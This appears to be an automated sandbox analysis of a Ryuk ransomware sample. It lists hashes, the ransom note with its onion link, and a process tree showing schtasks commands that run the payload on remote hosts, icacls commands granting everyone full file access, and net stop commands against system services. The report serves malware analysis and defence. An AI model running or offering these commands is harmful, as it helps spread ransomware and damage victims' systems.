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Analysis

  • max time kernel
    91s
  • max time network
    140s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    30/03/2021, 11:28

General

  • Target

    0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe

  • Size

    468KB

  • MD5

    9296a9b81bfe119bd786a6f5a8ad43ad

  • SHA1

    581cf7c453358cd94ceed70088470c32a7307c8e

  • SHA256

    0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591

  • SHA512

    64955ec13d7e874d8aeb9490b2ff814473e02ef93eb071bab460add8b5966f660ddca1ba80cf1055f7d2c5cccaf4ad62d908356547c8c13387e622e5dfc849a1

Malware Config

Extracted

Path

C:\users\Public\RyukReadMe.html

Family

ryuk

Ransom Note
contact balance of shadow universe Ryuk $password = 'J5U8YdUCr'; $torlink = 'http://ddchw6p2kegymsyoqljqnsslebfh5t7e45s6m2pqhhn5mt4yb3rlazyd.onion'; function info(){alert("INSTRUCTION:\r\n1. Download tor browser.\r\n2. Open link through tor browser: " + $torlink + "\r\n3. Fill the form, your password: "+ $password +"\r\nWe will contact you shortly.\r\nAlways send files for test decryption.");};
URLs

http://ddchw6p2kegymsyoqljqnsslebfh5t7e45s6m2pqhhn5mt4yb3rlazyd.onion

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
    "C:\Users\Admin\AppData\Local\Temp\0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4736
    • C:\Users\Admin\AppData\Local\Temp\SaFbmejfrrep.exe
      "C:\Users\Admin\AppData\Local\Temp\SaFbmejfrrep.exe" 9 REP
      2⤵
      • Executes dropped EXE
      PID:3116
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.87 /TN Y2MWOn2 /TR "C:\Users\Public\SaFbmejfrrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4808
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.68 /TN eRobs2p /TR "C:\Users\Public\SaFbmejfrrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:5424
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.84 /TN U8tebwX /TR "C:\Users\Public\SaFbmejfrrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:5384
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.73 /TN aP8q5mC /TR "C:\Users\Public\SaFbmejfrrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:2924
    • C:\Users\Admin\AppData\Local\Temp\aajwdTtdAlan.exe
      "C:\Users\Admin\AppData\Local\Temp\aajwdTtdAlan.exe" 8 LAN
      2⤵
      • Executes dropped EXE
      PID:3568
    • C:\Users\Admin\AppData\Local\Temp\QkevIHuEolan.exe
      "C:\Users\Admin\AppData\Local\Temp\QkevIHuEolan.exe" 8 LAN
      2⤵
      • Executes dropped EXE
      PID:3384
    • C:\Windows\SysWOW64\icacls.exe
      icacls "C:\*" /grant Everyone:F /T /C /Q
      2⤵
      • Modifies file permissions
      PID:5084
    • C:\Windows\SysWOW64\icacls.exe
      icacls "D:\*" /grant Everyone:F /T /C /Q
      2⤵
      • Modifies file permissions
      PID:3676
    • C:\Windows\SysWOW64\net.exe
      "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
      2⤵
        PID:776
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "audioendpointbuilder" /y
          3⤵
            PID:3484
        • C:\Windows\SysWOW64\net.exe
          "C:\Windows\System32\net.exe" stop "samss" /y
          2⤵
            PID:5048
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "samss" /y
              3⤵
                PID:4600
            • C:\Windows\SysWOW64\net.exe
              "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
              2⤵
                PID:4868
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "audioendpointbuilder" /y
                  3⤵
                    PID:3972
                • C:\Windows\SysWOW64\net.exe
                  "C:\Windows\System32\net.exe" stop "samss" /y
                  2⤵
                    PID:4184
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop "samss" /y
                      3⤵
                        PID:4900

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • memory/4736-46-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-54-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-84-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-85-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-86-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-88-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-87-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-89-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-90-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-91-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-83-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-95-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-94-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-96-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-97-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-93-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-98-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-99-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-82-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-74-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-76-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-77-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-75-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-73-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-71-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-72-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-69-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-70-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-67-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-68-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-66-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-65-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-64-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-62-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-63-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-60-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-61-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-59-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-58-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-57-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-56-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-81-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-53-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-52-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-51-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-50-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-49-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-48-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-2-0x00000000001E0000-0x00000000001E1000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-47-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-3-0x0000000035000000-0x0000000035177000-memory.dmp

                    Filesize

                    1.5MB

                  • memory/4736-44-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-42-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-40-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-39-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-38-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-37-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-36-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-35-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-34-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-33-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-31-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-32-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-19-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-20-0x0000000003650000-0x0000000003651000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-30-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-29-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-26-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-28-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-21-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-27-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-22-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-25-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-24-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB

                  • memory/4736-23-0x0000000002E50000-0x0000000002E51000-memory.dmp

                    Filesize

                    4KB